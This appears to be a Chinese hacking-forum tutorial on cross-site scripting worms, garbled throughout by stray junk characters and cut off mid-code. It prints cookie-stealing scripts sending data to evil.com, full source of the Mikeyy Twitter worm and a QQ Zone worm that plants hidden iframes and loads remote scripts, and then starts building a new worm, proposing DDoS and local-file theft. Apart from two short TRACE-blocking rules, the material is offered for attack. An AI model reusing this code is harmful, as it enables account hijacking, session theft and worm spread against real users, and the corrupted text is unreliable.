var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");0 ^" }6 q8 J( U6 p: o7 Z6 y
) G7 Q$ P% N* U( I! FXmlHttp.open("GET","http://www.google.com",false);0 p$ v R6 O4 g) T' o; _1 f
6 c2 U. @! Y9 q0 c$ T( `. v
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);% e$ `1 z- i/ V* f" T
. M, \ h6 ]# r: r" `: ?! Rvar resource=xmlHttp.responseText# q& c) h5 \* V% M/ w- b
- |. z6 n5 _7 cresource.search(/cookies/);
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......................% H- v. Z7 O: @0 y1 Y" R
1 _) l4 S/ C0 \! h) b6 o
</script>
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# N% S0 S# x: m0 K, `( ?) _- p0 D& @4 I
0 M# V. d; |. ^- w如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求: R0 D) u2 b( w7 r
- o( P% x7 B% r2 Y5 T; \2 S[code]: Q) o# X! [# h
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RewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE. f7 L6 }; u1 n6 Y+ I4 o5 R
, j/ c- R- P- }RewriteRule .* - [F]
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. }- ^; V( j1 {$ P2 h, ]4 _4 y3 [
; q/ \: t( e3 n2 O/ f4 F7 t
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
) i6 q( x4 j/ m
+ q: K' C; C$ l3 b. q8 ]acl TRACE method TRACE) B! O9 b1 H4 I2 [; [) b9 T, A ]
* \2 l! E( z9 Z/ U) Q5 j
...
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: t; y. a& c2 w5 N+ S1 {2 Y9 W8 P' p" }http_access deny TRACE8 F" z$ f1 q3 g2 C% f, R' n
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);; V" _& k Z& Q
9 {2 k. m% v7 z( i: HXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");% h( |3 A) k8 E% b' U
- p' u C* Z+ x2 V) M- Z ?XmlHttp.send(null);
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</script>
9 Z3 @( J( \4 _0 L/ a: Z! U复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>$ l: z. Q! e5 d2 Q
% [* y( C; ?! Z7 v* A5 yvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");1 }& {, p9 Q- S" @; I( e9 H
# |& z$ \# y. P7 ~" ?. f, Q, b" ~# S7 O) l* [& [
1 X$ W3 x* W5 g2 F, q! a$ _XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);! ^* }5 u' l. _6 a/ y B3 \6 W9 P
9 u& W1 l6 Z3 ]/ u5 HXmlHttp.send(null);
% N. P6 ~7 U5 l0 ]
m5 ~; d x3 _' s<script>
$ S. n, d& P9 L" u9 F4 d复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.1 ~0 ~: H2 w% b2 {6 x
复制代码案例:Twitter 蠕蟲五度發威
# `* Q$ L9 o. U7 O r; Q; S0 B第一版:
- n6 A5 |6 f% T4 ]9 J% [ 下载 (5.1 KB)' B( Q) A/ [ x) N: |3 b5 _- Z! Z; q# m0 Y
* q# E0 ^# D { R/ b. F7 i0 w6 天前 08:27) E; b1 e. B! H+ r4 o E! @8 q
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 7 O2 \9 w# C. k- d+ ~* N# |! X
3 x$ h- ?6 t, o1 _ 2. ( i3 Q) Q' `' p0 j9 r/ P5 _
( [, @$ v5 V6 G1 V: h 3. function XHConn(){
4 x6 Z* X7 Y G, h1 [" V5 M- v% @' d8 O+ M& f+ F
4. var _0x6687x2,_0x6687x3=false; / l: v& ?/ i6 r% @' w" T6 ]( J, o
) |" D7 p/ b7 [! ]' y9 j c 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
$ K) a. q8 m4 s( T$ s
5 U% s; q$ f. Q6 O 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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% o' O. v" x& J9 U8 @ 8. catch(e) { _0x6687x2=false; }; }; };
, w, K; i9 k* W1 j0 {4 X复制代码第六版: 1. function wait() { 3 z/ |; J. V; S3 e
6 z) W. E( m3 p# }3 B 2. var content = document.documentElement.innerHTML;
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. v7 q6 V- c' D" X. `& ]1 i2 x4 ` 3. var tmp_cookie=document.cookie; & v3 D# N9 ?/ T% W2 t* m: }
+ A; @: S( @3 b/ s 4. var tmp_posted=tmp_cookie.match(/posted/);
+ Q# | [- [8 N4 f$ W9 V2 p
8 n; c2 W# B$ X4 M) j/ k 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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4 b1 `7 ~# A ?1 n8 Y 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1]; / N% _7 E1 l$ F
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8. var randomUpdate= new Array();
1 {( ?, l5 x. Z. z; D5 i9 c5 t9 K3 O/ ?! f6 ^9 W3 T: ?
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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% E2 ~9 y' Y; M: K* j$ l 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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- y( a- c) l+ P8 `% l7 l 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 8 s* c9 G7 s% [! x7 W4 N
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 6 o3 y( l7 q# h5 e
+ K8 P: A2 O0 O- M 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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4 J( m7 k+ H2 P t% q3 ~& R 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; m( J4 F. k# C" N
6 z* s* w; F% V& [/ D$ ]9 p 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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: X. n3 ]9 U! D( H$ y, g! U; i" Y 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ' f' m2 l, X" X) c: q/ V8 v
, ^ }! }; ^0 H2 [
20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 5 G6 ^% u3 H% S6 |5 F
2 O" Y' E( A, L3 `) w 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; $ U: u7 I% F, e3 K
! g C0 g! [% n3 G2 x# P( [: | 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 1 N) G, `0 I3 I
2 c# A6 x, W9 Y9 E0 {( T a/ p 24. 8 ^( c5 M3 c% S6 U* v
; M6 l4 a5 \# x
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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* o3 e# y7 l9 N 26. var updateEncode=urlencode(randomUpdate[genRand]); * y, `" _% S' q% e: b5 n0 A1 F- l
$ _) O2 G8 d3 i+ B+ h7 O4 H% q* d 27.
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28. var ajaxConn= new XHConn(); % m8 f) m5 }( B: O7 {
& V ~ Y, d$ P4 } 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); " s$ x9 u6 R! P: l* ]: `, R
5 t& W- S7 C5 B, h9 y
30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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; ~: B- @1 B! } 32. var ajaxConn1= new XHConn();
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% q! i/ K+ \7 y( G# p 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); $ b W y- Y+ Z
+ P: E- z& T6 O9 e; e: D
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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7 O8 B# U5 r- @9 s: ~. |: ]6 |! d 35. var XSS=urlencode(genXSS); 1 C# ~) q1 [- h
( v: R. ^6 p3 X8 N5 Z4 ^ 36. var ajaxConn2= new XHConn(); ~( l& y& x/ b- f
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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. p6 x5 x0 T% ]: b 38. $ b. g% ^! A" z; X/ p f6 T" G9 ]* Q
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39. } ; / V% d) W; X/ L- ~
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40. setTimeout(wait(),5250);
, k6 ?2 y$ x% A& m" T复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;# j9 S, Y$ ~; i1 G
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var shendu;shendu=4;
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3 {/ @( n0 `2 w1 {//---------------global---v------------------------------------------
# o6 U! X/ Y% _0 h3 Z o) _8 E+ p( q" L5 d9 Q: ^2 E) W* L
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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: M2 k+ C$ [( R! C/ xvar myblogurl=new Array();var myblogid=new Array();
: }3 }& _ |# h
' [3 y( N7 f. A1 ~3 v var gurl=document.location.href;
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' W5 l8 ~4 m8 F& L5 \ var gurle=gurl.indexOf("com/");2 r$ y: T' T9 ~+ i
- F( G' V/ |" L& A- o" X) n4 A5 | gurl=gurl.substring(0,gurle+3);
+ t( J1 |; ~& d
- u* c% w3 k# c. X3 L% c/ _$ d* @ var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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9 Y* r2 Y7 ^8 O6 x& @ visitorID=visitorID.substring(cookieS+14);9 {/ t& u2 `5 Y3 O
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);& t9 V/ p2 D% z8 J# M
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get_my_blog(visitorID);
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DOshuamy();
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$ I) F1 l$ t; m, b4 T9 V: r c' X( p" l% z3 l# C: P
//挂马
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function DOshuamy(){
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+ {; F) x5 P$ H" t! hvar ssr=document.getElementById("veryTitle");1 e* _3 ^2 [% k# e: y
5 M! p4 ^2 T4 u0 }0 m- \ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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2 V( {$ d* M8 c- m4 H+ M4 L/ `$ Z" x+ V
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
# D1 x) N/ M( \
0 _; x6 I; V6 `6 Yfunction get_my_blog(visitorID){" i2 N% N3 r0 l/ _2 @" t
) N8 o/ b% `/ W1 n" f userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";9 z$ s, `- ^- n2 V' ?$ `( e
$ I l4 H5 x* G& r# C7 K( S xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
! ]5 B8 s+ ?1 U7 `4 \* Y) @, G- ^# N `- }, ^
if(xhr){ //成功就执行下面的
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& m0 [/ N1 d D6 D xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;5 A/ i: y% M8 p3 Z9 f( a3 a6 o
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get_my_blogurl(guest); //执行这个函数0 o) R: q& n8 ]* w
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//这里似乎是判断没有登录的2 i) G! T" l, ^, ~0 W
* K: R( `. c2 d( efunction get_my_blogurl(guest){
% {9 Z* F8 x# Q$ }! @. k
* O9 |+ I% W6 \& b var mybloglist=guest;
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){; N# @$ h) v; e# E
& e9 H5 [ ^" _% O myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了3 w, ?8 ]7 B) ?2 f5 Z
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if(myurls!=-1){ //找到了就执行下面的& d$ G2 s* u" t, A9 Y# |
X! D, E+ I$ F mybloglist=mybloglist.substring(myurls+11);% O6 v& w2 T! N6 x, F! F" m$ B$ q; z
1 p8 o; H2 Q" k- @ myurls=mybloglist.indexOf(')');; N7 c& Z. n5 y7 K7 F
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myblogid=mybloglist.substring(0,myurls);5 ?6 C+ C6 Z8 W: V, c! z+ r
, D" ?$ M2 V* X8 d }else{break;}
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6 b3 ^, P9 x# B2 |- @& q7 V: [# Eget_my_testself(); //执行这个函数# ^2 s+ }! ]1 b& w0 {
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% U: g8 u! n/ ]; T; F- k* p
& ^' j+ F1 w. ~4 G; T//这里往哪跳就不知道了
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function get_my_testself(){
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' Q& Z( D" \( @% a: a" y) | for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
6 W: n3 F- c+ L* m
% B0 L2 n5 B4 W8 V! f! Z var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象6 G& k! \% T$ p5 ?
8 b9 j& U- Y/ L if(xhr2){ //如果成功
& z: g9 U2 k: H4 s- U8 `) F7 U& @5 X
& e% @' O, J. q( M- j X xhr2.open("GET",url,false); //打开上面的那个url
, ~* \. y, S1 ~$ s: `6 X. B
1 d; D8 E- H- X: `0 w+ h5 Q. |3 Q xhr2.send();% ~% L1 P! B" L$ F# i) D1 y# m3 ]7 k
" y( g+ a K' J. ^% r guest2=xhr2.responseText;
$ Q7 j0 Z' m& g+ o) Y' k; ?* @$ @& K. R& `
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
2 c: q: G2 H3 u2 M! W0 A- Q& w& \" a9 o5 Z- g! d$ w
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
. a. `7 [6 D: K g
8 F$ d# A$ |% t( y+ y if(mycheckmydoit!="-1"){ //返回-1则代表没找到
' Y4 E0 Y5 m O* X+ o. S t4 c9 M( T" @( r6 h- Q/ R
targetblogurlid=myblogid;
2 z2 k+ A% M# p3 _) J F# C
- D( Q7 q* U7 j6 [+ K5 y) @ add_jsdel(visitorID,targetblogurlid,gurl); //执行它# p$ |5 r; ~: S0 v
. @. }, Q: H+ {" z. z
break;
8 E; o& a& e! x, v% a7 r) j8 `$ w. t0 p. W+ G- W2 [
}- ]7 v8 ]/ U n8 Q; r/ e/ `8 q
4 }1 c+ J6 N b if(mycheckit=="-1"){% O4 U/ H1 Y( k9 D& h
$ e' |: M" l3 N targetblogurlid=myblogid;* g5 P4 }% H- w2 j* T# H4 j7 l- C
. K0 V, H2 T! G, `9 X, v* Y3 ~# R add_js(visitorID,targetblogurlid,gurl); //执行它
, O) V2 i; |3 b; W3 a6 K2 \- l
0 t8 F" Q/ F& k! _. }+ B/ K break;; v4 M( C' N2 N3 W3 }
) c- S: {" T& c4 P
}
" R8 p1 @% T9 Q) L: j& A3 D8 K2 B6 q+ c% e
} ! W1 m$ o4 F& ^% I
6 K5 p8 Z( Z, w+ i+ q$ t8 a: L: o
}4 W7 n6 M% r1 n- D
8 ?& ]$ J' b* [, m
}2 l7 m5 H' H$ R a
+ W% J( B2 A2 H$ N4 b8 N- P
J8 b( M0 K, l/ |9 `1 e
J* Y1 `2 d( z: F: v, A3 _* D" {
//-------------------------------------- % i- E( A% W! M/ a
: B3 P, `1 |5 g
//根据浏览器创建一个XMLHttpRequest对象0 z7 e5 Y- _" }, v/ N
( j% W$ E! r" P- D3 ?function createXMLHttpRequest(){' M f# r" Z1 \/ I) h/ }
$ j9 B, u& K2 o) M# F2 { var XMLhttpObject=null; 6 `1 e8 |7 R" l
9 _& q- B8 ?$ ]4 C2 C$ x if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
# y7 o" g* E, @3 e3 M% Q, j! E# o4 z, I/ Z' O: U# b
else # i& {' i* X9 Z" M( c
0 u7 {- b- N! C { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; I/ p2 |( R; L$ g( |- A
& m6 I; i! x# F5 \* z3 }3 R B
for(var i=0;i<MSXML.length;i++) / s. Q# U) P$ d/ r& X9 U3 l) ?1 }
* h( P( r, j' a) A: N& C( {0 ` { 1 C/ ?9 {) ]$ H/ V
0 z$ @' `; n$ c; O try
: u$ h0 `! A- g! p) t
. w/ ]1 Y6 C8 G" H8 q: _ {
% o& b* T9 F# G: ?3 C0 d- ?) Z3 \. e5 {9 u0 \1 o
XMLhttpObject=new ActiveXObject(MSXML); : {1 y1 {% N7 J) t$ y0 @2 ?
: g! L( W# C5 O- V break; 1 o$ F2 ?+ w3 B
+ x, w7 V0 [- J: G1 i7 \2 } }
: w" D- R7 C2 w) O! B; J: e
N, u W& F6 D3 a+ h1 R catch (ex) { . R/ t9 [9 E B0 H) K
?2 U& Q$ y- ]: R* ?# F4 v } 0 V3 U& R3 x6 @. ?
) i; w# ?5 J! q9 F } ; D; u8 i# Z8 V6 |0 B/ \7 g( D
+ K5 g, D* O6 d' P- `
}. s, k# L# N8 Q; z/ f
9 S v0 Y' C' Y* c) \1 F
return XMLhttpObject;2 ?4 Y# w6 E! s
4 C* _# e; Z1 ]; n( k" H O2 }
} # f0 l% r+ o9 u3 b/ v: D/ ?& w B
2 K9 m0 X( L' ~; \: e' b
. p. [" [+ T! n1 K+ N( w& c. J2 D7 J6 U" ~* V% a9 P, v% N
//这里就是感染部分了/ K& c' c- e z1 L3 r$ C0 F$ T+ T
! A: w+ X: E* ~( ]/ c7 s4 t) |& s
function add_js(visitorID,targetblogurlid,gurl){4 }- W, } i" q
- n3 ^( O7 O9 M; i6 G N& lvar s2=document.createElement('script');
* a( a: f8 o( o' F! k4 U' h/ R6 ^
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
2 _, M/ ~; Z4 Q! s9 h
4 G4 {7 o5 i# ^s2.type='text/javascript';2 a# t4 C. F) s. s, O2 r. X. o( H( b
! E+ B3 r% G( }+ p4 c0 b/ Gdocument.getElementsByTagName('head').item(0).appendChild(s2);
8 v! s6 s& `( I+ m. l) l1 i
! [% A, t) O/ Z. S}- q& @' S4 d8 n
- S2 z- X' j9 i
( d4 l9 {) A9 ]( B! m9 }- ?: g, _ R9 i; ~9 a6 {( U
function add_jsdel(visitorID,targetblogurlid,gurl){4 Z8 I9 S3 z& Q
6 F( e) L1 b+ E. I" evar s2=document.createElement('script');3 X$ F3 ^' G( N* B$ P6 {
% i5 k8 T: O. u7 X- ts2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();/ n3 g1 a( z7 ], N
9 n. S, T. z2 g6 as2.type='text/javascript';
( S( X7 b1 @* x& g7 `9 D# @7 c" Q
document.getElementsByTagName('head').item(0).appendChild(s2);8 F9 z4 c8 v4 w, u" P5 g6 A- d
# [9 J& i3 D! e' a2 y
} V& p3 ^! ~% m2 O. N: N
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:1 d5 g' A0 O, z$ @$ ]
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.). z7 r% M) z5 Y* V- d: r
6 j# a& x2 u; X2 [9 B2 w
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)9 D5 |, J0 F2 ]1 x
$ O% x9 b- d: z2 h, J, x5 X) P
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~& ^. Z6 N& y$ N1 n
; K, X$ C$ y5 V
) O# g2 ], x4 _: O1 b8 A下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.* S- l2 |2 z* R: o
5 g' N/ p' p7 O7 r* R( R# H# ~- m
首先,自然是判断不同浏览器,创建不同的对象var request = false;
5 p6 A* g* p* j1 p7 o
! T9 w* k/ S" Fif(window.XMLHttpRequest) {% b2 a* w, \) I- R$ E4 T" V/ T
3 ^6 H! ?. ?. s4 e0 L4 ~" urequest = new XMLHttpRequest();
1 N8 D* n' W1 U* M
7 W" S8 a4 t7 J) b+ r7 {if(request.overrideMimeType) {+ ?7 O. t. S+ X: B, @
6 } \: j& |" f# z& M
request.overrideMimeType('text/xml');2 \4 a& s6 e! b, ~; l/ w, O8 B( {/ w
# }2 W6 ^$ s, [}
0 x B/ @0 d* T! c4 I. d6 {5 B; f( h% }7 V$ L* n/ L& B
} else if(window.ActiveXObject) {
) W& S% w* e* @5 h! X( [; ~2 Z! _; h2 w: V+ K1 L! E0 f9 _1 w
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 n# c0 }) {! N. e7 \3 j1 N0 L1 I0 N% X. u* a3 ?% b1 l
for(var i=0; i<versions.length; i++) {6 Z8 s% x ^& |5 X) u" O/ W, ^) y) U
! {' C3 w) Z& V1 H% ~try {: d6 E' d$ d. @8 H
\; C7 A! Y; I! drequest = new ActiveXObject(versions);
; D2 i- S! q' T5 b7 t# B0 {% K
, A+ y' J; Y+ Z- M} catch(e) {}
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}
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0 M7 r2 C+ U& E) H' I9 b}
5 I+ b e1 s/ `3 d1 x" w. Y4 q, }2 D5 V( j4 ~* k
xmlHttpReq=request;4 P) b0 s. [/ P
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
- k4 u6 l0 a/ ^& M( R/ o3 V4 R
6 c- _* i7 ^3 v7 e7 w9 U$ J* z- D/ O var Browser_Name=navigator.appName;
: P. ^: B* p# o9 Y; t
8 `% s/ L/ Z M0 h9 Q var Browser_Version=parseFloat(navigator.appVersion);
- }' P( z ~6 Z X, z* Q
5 g8 L. Q8 f7 P% N5 ? var Browser_Agent=navigator.userAgent;$ w0 Z3 u% s" V' C. x6 D& p, w: Y
) i5 o, }5 N- i0 v( ?# C4 D
; I7 u$ F4 ^& K2 t% V" f9 d* n; ]9 p$ ~ G) V5 V
var Actual_Version,Actual_Name;
4 I" `, F! t9 G* m; [% ~( C
1 R! M; O- b! `7 b/ L& k & d; R: v( [, @3 g$ D% A) ?
3 Z6 K$ ?: |; G! P3 ]7 m var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");- Y9 r8 ?1 n1 C# `# R
h7 n& d2 Q2 { { var is_Ch=(Browser_Name=="Chrome");# _6 h' j T+ z
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' A/ o5 F5 I) ?, l
if(is_NN){
9 n- u/ O- |& ]# c" [2 N7 y6 H, u) C, f2 |& n( A: V
if(Browser_Version>=5.0){5 V) b( ~+ X3 I! a f! |2 U7 D
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var Split_Sign=Browser_Agent.lastIndexOf("/");
; p6 s# `1 r! R9 }4 f3 F
2 K }: c! Q h& ~: ^, j var Version=Browser_Agent.indexOf(" ",Split_Sign);
6 e S$ u' j$ K0 Q4 ~/ d
! U# J2 R- D( S, K' z# S; x var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);1 Z: M1 v+ z0 b- i# V
6 i$ f' \ A8 P9 f; Z
/ f! l: \: n* U5 W! e) Q; W/ c5 ?
" i1 j" ?, u3 I7 e/ Q8 q. j Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);" n) r7 P, C' q" R# G
+ z) ]$ }8 t& f- n
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);9 e& C! P O, i/ h$ S; @1 n$ p% i- h' _
9 _+ |" ~* K* [7 V4 p4 ~, [' f2 p }
1 C7 Q7 P# G2 K9 R/ m, x
9 A9 g9 g% p" F7 t else{
* t8 o1 v% {, A# @. ?7 d
( V5 |. `2 d2 O, g Actual_Version=Browser_Version;
8 p! Q N6 |( @1 b
7 A, X9 }! z: x# s8 |7 y& x Actual_Name=Browser_Name;
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}
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}6 v7 X5 j2 F4 J
# G P! E' p0 \- r+ z& }3 m! b
else if(is_IE){
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var Version_Start=Browser_Agent.indexOf("MSIE");
- h: X1 n1 Q3 r3 P! }" V
" G7 C2 s8 @; r3 B# C var Version_End=Browser_Agent.indexOf(";",Version_Start);% ~8 w: l* A* `
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)" E+ Z$ a1 E+ R0 t# z
- U$ y' [2 ^% w( @$ j+ ]1 {* i
Actual_Name=Browser_Name;
) z3 n; ?1 W r7 T% C- m+ j! ], {5 g, |5 ]
' X! M, V2 ^$ w a5 u7 E f! r3 C. L+ U8 E+ c! m" _8 i
if(Browser_Agent.indexOf("Maxthon")!=-1){
+ X( A- ]0 P5 L6 D/ g6 M, S3 e
. a- o* [9 r. u% y3 O7 M* E5 u Actual_Name+="(Maxthon)";0 @- E. u# J f* {
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}* ?; \# X$ J% w
2 z, p& b/ U" M+ P* |, K; n- s
else if(Browser_Agent.indexOf("Opera")!=-1){1 W: q. v, k D
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Actual_Name="Opera";8 W) K9 F8 k2 L5 x1 f. K8 K+ b- A0 D
3 A" p1 f, @/ _* V- d
var tempstart=Browser_Agent.indexOf("Opera");
* u: w7 j7 @, T+ b" u% [
' ~" Q& j( P( r: ~9 ^. Z* K var tempend=Browser_Agent.length;; ]% \: V* O, z4 q' M, z
, n' r7 y. H: r- s7 K4 q
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)2 Q6 q( J3 T0 Z( \
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3 ]1 _: t: Z4 T8 E }
, m6 N! T3 V8 W* c" p' D! T& M% o6 R
else if(is_Ch){* T- T: m1 P; K8 [
3 a% {+ D# q4 v- T; \ var Version_Start=Browser_Agent.indexOf("Chrome");
/ w" P' Q6 A! V! s: y4 S) [% Z' a, r* K7 h2 H) \
var Version_End=Browser_Agent.indexOf(";",Version_Start);, v2 p, \7 }/ Q
9 K2 i$ y! A! ~ `9 P: U
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)) v/ ?- d' \+ m8 ]% j7 g, P7 g
+ J Q) J) M; N- \+ N
Actual_Name=Browser_Name;
. F8 P6 o0 Y& n* w, @+ B, P' |6 J& _: F8 m i
% [% ?3 W) r) z) J0 `/ i$ d
$ X/ h. J/ D. o C if(Browser_Agent.indexOf("Maxthon")!=-1){: ?+ C# L! w- K4 h# M( d' ]1 U
; g' w, g- ?# U* P
Actual_Name+="(Maxthon)";" ^! i" {$ Q( @
! L; `' q$ l" A }
$ F5 N1 \# h; V. ]
' ?; |5 `' V6 g" u4 \ else if(Browser_Agent.indexOf("Opera")!=-1){
) ~% @& r5 R( w3 h& [3 d( N
